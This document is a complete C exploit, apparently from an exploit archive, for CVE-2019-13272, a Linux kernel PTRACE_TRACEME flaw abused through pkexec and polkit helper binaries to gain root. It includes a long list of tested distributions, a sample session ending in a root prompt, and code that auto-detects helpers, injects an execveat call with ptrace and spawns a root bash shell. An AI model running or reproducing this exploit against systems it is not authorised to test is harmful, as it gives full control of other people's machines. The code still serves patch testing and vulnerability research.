Linux Kernel 4.10 < 5.1.17 - 'PTRACE_TRACEME' pkexec Local Privilege Escalation

// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
// Uses pkexec technique
// ---
// Original discovery and exploit author: Jann Horn
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
// ---
// <bcoles@gmail.com>
// - added known helper paths
// - added search for suitable helpers
// - added automatic targeting
// - changed target suid exectuable from passwd to pkexec
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272
// ---
// Tested on:
// - Ubuntu 16.04.5 kernel 4.15.0-29-generic
// - Ubuntu 18.04.1 kernel 4.15.0-20-generic
// - Ubuntu 19.04 kernel 5.0.0-15-generic
// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic
// - Linux Mint 19 kernel 4.15.0-20-generic
// - Xubuntu 16.04.4 kernel 4.13.0-36-generic
// - ElementaryOS 0.4.1 4.8.0-52-generic
// - Backbox 6 kernel 4.18.0-21-generic
// - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64
// - Kali kernel 4.19.0-kali5-amd64
// - Redcore 1806 (LXQT) kernel 4.16.16-redcore
// - MX 18.3 kernel 4.19.37-2~mx17+1
// - RHEL 8.0 kernel 4.18.0-80.el8.x86_64
// - Debian 9.4.0 kernel 4.9.0-6-amd64
// - Debian 10.0.0 kernel 4.19.0-5-amd64
// - Devuan 2.0.0 kernel 4.9.0-6-amd64
// - SparkyLinux 5.8 kernel 4.19.0-5-amd64
// - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64
// - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO
// - Mageia 6 kernel 4.9.35-desktop-1.mga6
// - Antergos 18.7 kernel 4.17.6-1-ARCH
// ---
// user@linux-mint-19-2:~$ gcc -s poc.c -o ptrace_traceme_root
// user@linux-mint-19-2:~$ ./ptrace_traceme_root
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
// [.] Checking environment ...
// [~] Done, looks good
// [.] Searching for known helpers ...
// [~] Found known helper: /usr/sbin/mate-power-backlight-helper
// [.] Using helper: /usr/sbin/mate-power-backlight-helper
// [.] Spawning suid process (/usr/bin/pkexec) ...
// [.] Tracing midpid ...
// [~] Attached to midpid
// To run a command as administrator (user "root"), use "sudo <command>".
// See "man sudo_root" for details.
//
// root@linux-mint-19-2:/home/user#
// ---

#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <stdio.h>
#include <fcntl.h>
#include <sched.h>
#include <stddef.h>
#include <stdarg.h>
#include <pwd.h>
#include <sys/prctl.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <linux/elf.h>

#define DEBUG

#ifdef DEBUG
#  define dprintf printf
#else
#  define dprintf
#endif

#define SAFE(expr) ({                   \
  typeof(expr) __res = (expr);          \
  if (__res == -1) {                    \
    dprintf("[-] Error: %s\n", #expr);  \
    return 0;                           \
  }                                     \
  __res;                                \
})
#define max(a,b) ((a)>(b) ? (a) : (b))

static const char *SHELL = "/bin/bash";

static int middle_success = 1;
static int block_pipe[2];
static int self_fd = -1;
static int dummy_status;
static const char *helper_path;
static const char *pkexec_path = "/usr/bin/pkexec";
static const char *pkaction_path = "/usr/bin/pkaction";
struct stat st;

const char *helpers[1024];

const char *known_helpers[] = {
  "/usr/lib/gnome-settings-daemon/gsd-backlight-helper",
  "/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper",
  "/usr/lib/unity-settings-daemon/usd-backlight-helper",
  "/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",
  "/usr/sbin/mate-power-backlight-helper",
  "/usr/bin/xfpm-power-backlight-helper",
  "/usr/bin/lxqt-backlight_backend",
  "/usr/libexec/gsd-wacom-led-helper",
  "/usr/libexec/gsd-wacom-oled-helper",
  "/usr/libexec/gsd-backlight-helper",
  "/usr/lib/gsd-backlight-helper",
  "/usr/lib/gsd-wacom-led-helper",
  "/usr/lib/gsd-wacom-oled-helper",
};

/* temporary printf; returned pointer is valid until next tprintf */
static char *tprintf(char *fmt, ...) {
  static char buf[10000];
  va_list ap;
  va_start(ap, fmt);
  vsprintf(buf, fmt, ap);
  va_end(ap);
  return buf;
}

/*
 * fork, execute pkexec in parent, force parent to trace our child process,
 * execute suid executable (pkexec) in child.
 */
static int middle_main(void *dummy) {
  prctl(PR_SET_PDEATHSIG, SIGKILL);
  pid_t middle = getpid();

  self_fd = SAFE(open("/proc/self/exe", O_RDONLY));

  pid_t child = SAFE(fork());
  if (child == 0) {
    prctl(PR_SET_PDEATHSIG, SIGKILL);

    SAFE(dup2(self_fd, 42));

    /* spin until our parent becomes privileged (have to be fast here) */
    int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
    char *needle = tprintf("\nUid:\t%d\t0\t", getuid());
    while (1) {
      char buf[1000];
      ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
      buf[buflen] = '\0';
      if (strstr(buf, needle)) break;
    }

    /*
     * this is where the bug is triggered.
     * while our parent is in the middle of pkexec, we force it to become our
     * tracer, with pkexec's creds as ptracer_cred.
     */
    SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));

    /*
     * now we execute a suid executable (pkexec).
     * Because the ptrace relationship is considered to be privileged,
     * this is a proper suid execution despite the attached tracer,
     * not a degraded one.
     * at the end of execve(), this process receives a SIGTRAP from ptrace.
     */
    execl(pkexec_path, basename(pkexec_path), NULL);

    dprintf("[-] execl: Executing suid executable failed");
    exit(EXIT_FAILURE);
  }

  SAFE(dup2(self_fd, 0));
  SAFE(dup2(block_pipe[1], 1));

  /* execute pkexec as current user */
  struct passwd *pw = getpwuid(getuid());
  if (pw == NULL) {
    dprintf("[-] getpwuid: Failed to retrieve username");
    exit(EXIT_FAILURE);
  }

  middle_success = 1;
  execl(pkexec_path, basename(pkexec_path), "--user", pw->pw_name,
        helper_path,
        "--help", NULL);
  middle_success = 0;
  dprintf("[-] execl: Executing pkexec failed");
  exit(EXIT_FAILURE);
}

/* ptrace pid and wait for signal */
static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
  struct user_regs_struct regs;
  struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) };
  SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
  SAFE(waitpid(pid, &dummy_status, 0));
  SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));

  /* set up indirect arguments */
  unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
  struct injected_page {
    unsigned long argv[2];
    unsigned long envv[1];
    char arg0[8];
    char path[1];
  } ipage = {
    .argv = { scratch_area + offsetof(struct injected_page, arg0) }
  };
  strcpy(ipage.arg0, arg0);
  for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
    unsigned long pdata = ((unsigned long *)&ipage)[i];
    SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
                (void*)pdata));
  }

  /* execveat(exec_fd, path, argv, envv, flags) */
  regs.orig_rax = __NR_execveat;
  regs.rdi = exec_fd;
  regs.rsi = scratch_area + offsetof(struct injected_page, path);
  regs.rdx = scratch_area + offsetof(struct injected_page, argv);
  regs.r10 = scratch_area + offsetof(struct injected_page, envv);
  regs.r8 = AT_EMPTY_PATH;

  SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
  SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
  SAFE(waitpid(pid, &dummy_status, 0));
}

static int middle_stage2(void) {
  /* our child is hanging in signal delivery from execve()'s SIGTRAP */
  pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
  force_exec_and_wait(child, 42, "stage3");
  return 0;
}

// * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * *

static int spawn_shell(void) {
  SAFE(setresgid(0, 0, 0));
  SAFE(setresuid(0, 0, 0));
  execlp(SHELL, basename(SHELL), NULL);
  dprintf("[-] execlp: Executing shell %s failed", SHELL);
  exit(EXIT_FAILURE);
}

// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * *

static int check_env(void) {
  const char* xdg_session = getenv("XDG_SESSION_ID");

  dprintf("[.] Checking environment ...\n");

  if (stat(pkexec_path, &st) != 0) {
    dprintf("[-] Could not find pkexec executable at %s", pkexec_path);
    exit(EXIT_FAILURE);
  }
  if (stat(pkaction_path, &st) != 0) {
    dprintf("[-] Could not find pkaction executable at %s", pkaction_path);
    exit(EXIT_FAILURE);
  }
  if (xdg_session == NULL) {
    dprintf("[!] Warning: $XDG_SESSION_ID is not set\n");
    return 1;
  }
  if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) {
    dprintf("[!] Warning: Could not find active PolKit agent\n");
    return 1;
  }
  if (stat("/usr/sbin/getsebool", &st) == 0) {
    if (system("/usr/sbin/getsebool deny_ptrace 2>1 | /bin/grep -q on") == 0) {
      dprintf("[!] Warning: SELinux deny_ptrace is enabled\n");
      return 1;
    }
  }

  dprintf("[~] Done, looks good\n");

  return 0;
}

/*
 * Use pkaction to search PolKit policy actions for viable helper executables.
 * Check each action for allow_active=yes, extract the associated helper path,
 * and check the helper path exists.
 */
int find_helpers() {
  char cmd[1024];
  snprintf(cmd, sizeof(cmd), "%s --verbose", pkaction_path);
  FILE *fp;
  fp = popen(cmd, "r");
  if (fp == NULL) {
    dprintf("[-] Failed to run: %s\n", cmd);
    exit(EXIT_FAILURE);
  }

  char line[1024];
  char buffer[2048];
  int helper_index = 0;
  int useful_action = 0;
  static const char *needle = "org.freedesktop.policykit.exec.path -> ";
  int needle_length = strlen(needle);

  while (fgets(line, sizeof(line)-1, fp) != NULL) {
    /* check the action uses allow_active=yes*/
    if (strstr(line, "implicit active:")) {
      if (strstr(line, "yes")) {
        useful_action = 1;
      }
      continue;
    }

    if (useful_action == 0)
      continue;
    useful_action = 0;

    /* extract the helper path */
    int length = strlen(line);
    char* found = memmem(&line[0], length, needle, needle_length);
    if (found == NULL)
      continue;

    memset(buffer, 0, sizeof(buffer));
    for (int i = 0; found[needle_length + i] != '\n'; i++) {
      if (i >= sizeof(buffer)-1)
        continue;
      buffer[i] = found[needle_length + i];
    }

    if (strstr(&buffer[0], "/xf86-video-intel-backlight-helper") != 0 ||
      strstr(&buffer[0], "/cpugovctl") != 0 ||
      strstr(&buffer[0], "/package-system-locked") != 0 ||
      strstr(&buffer[0], "/cddistupgrader") != 0) {
      dprintf("[.] Ignoring blacklisted helper: %s\n", &buffer[0]);
      continue;
    }

    /* check the path exists */
    if (stat(&buffer[0], &st) != 0)
      continue;

    helpers[helper_index] = strndup(&buffer[0], strlen(buffer));
    helper_index++;

    if (helper_index >= sizeof(helpers)/sizeof(helpers[0]))
      break;
  }

  pclose(fp);
  return 0;
}

// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *

int ptrace_traceme_root() {
  dprintf("[.] Using helper: %s\n", helper_path);

  /*
   * set up a pipe such that the next write to it will block: packet mode,
   * limited to one packet
   */
  SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));
  SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));
  char dummy = 0;
  SAFE(write(block_pipe[1], &dummy, 1));

  /* spawn pkexec in a child, and continue here once our child is in execve() */
  dprintf("[.] Spawning suid process (%s) ...\n", pkexec_path);
  static char middle_stack[1024*1024];
  pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),
                            CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));
  if (!middle_success) return 1;

  /*
   * wait for our child to go through both execve() calls (first pkexec, then
   * the executable permitted by polkit policy).
   */
  while (1) {
    int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);
    char buf[16];
    int buflen = SAFE(read(fd, buf, sizeof(buf)-1));
    buf[buflen] = '\0';
    *strchrnul(buf, '\n') = '\0';
    if (strncmp(buf, basename(helper_path), 15) == 0)
      break;
    usleep(100000);
  }

  /*
   * our child should have gone through both the privileged execve() and the
   * following execve() here
   */
  dprintf("[.] Tracing midpid ...\n");
  SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));
  SAFE(waitpid(midpid, &dummy_status, 0));
  dprintf("[~] Attached to midpid\n");

  force_exec_and_wait(midpid, 0, "stage2");
  exit(EXIT_SUCCESS);
}

int main(int argc, char **argv) {
  if (strcmp(argv[0], "stage2") == 0)
    return middle_stage2();
  if (strcmp(argv[0], "stage3") == 0)
    return spawn_shell();

  dprintf("Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n");

  check_env();

  if (argc > 1 && strcmp(argv[1], "check") == 0) {
    exit(0);
  }

  /* Search for known helpers defined in 'known_helpers' array */
  dprintf("[.] Searching for known helpers ...\n");
  for (int i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) {
    if (stat(known_helpers[i], &st) == 0) {
      helper_path = known_helpers[i];
      dprintf("[~] Found known helper: %s\n", helper_path);
      ptrace_traceme_root();
    }
  }

  /* Search polkit policies for helper executables */
  dprintf("[.] Searching for useful helpers ...\n");
  find_helpers();
  for (int i=0; i<sizeof(helpers)/sizeof(helpers[0]); i++) {
    if (helpers[i] == NULL)
      break;

    if (stat(helpers[i], &st) == 0) {
      helper_path = helpers[i];
      ptrace_traceme_root();
    }
  }

  return 0;
}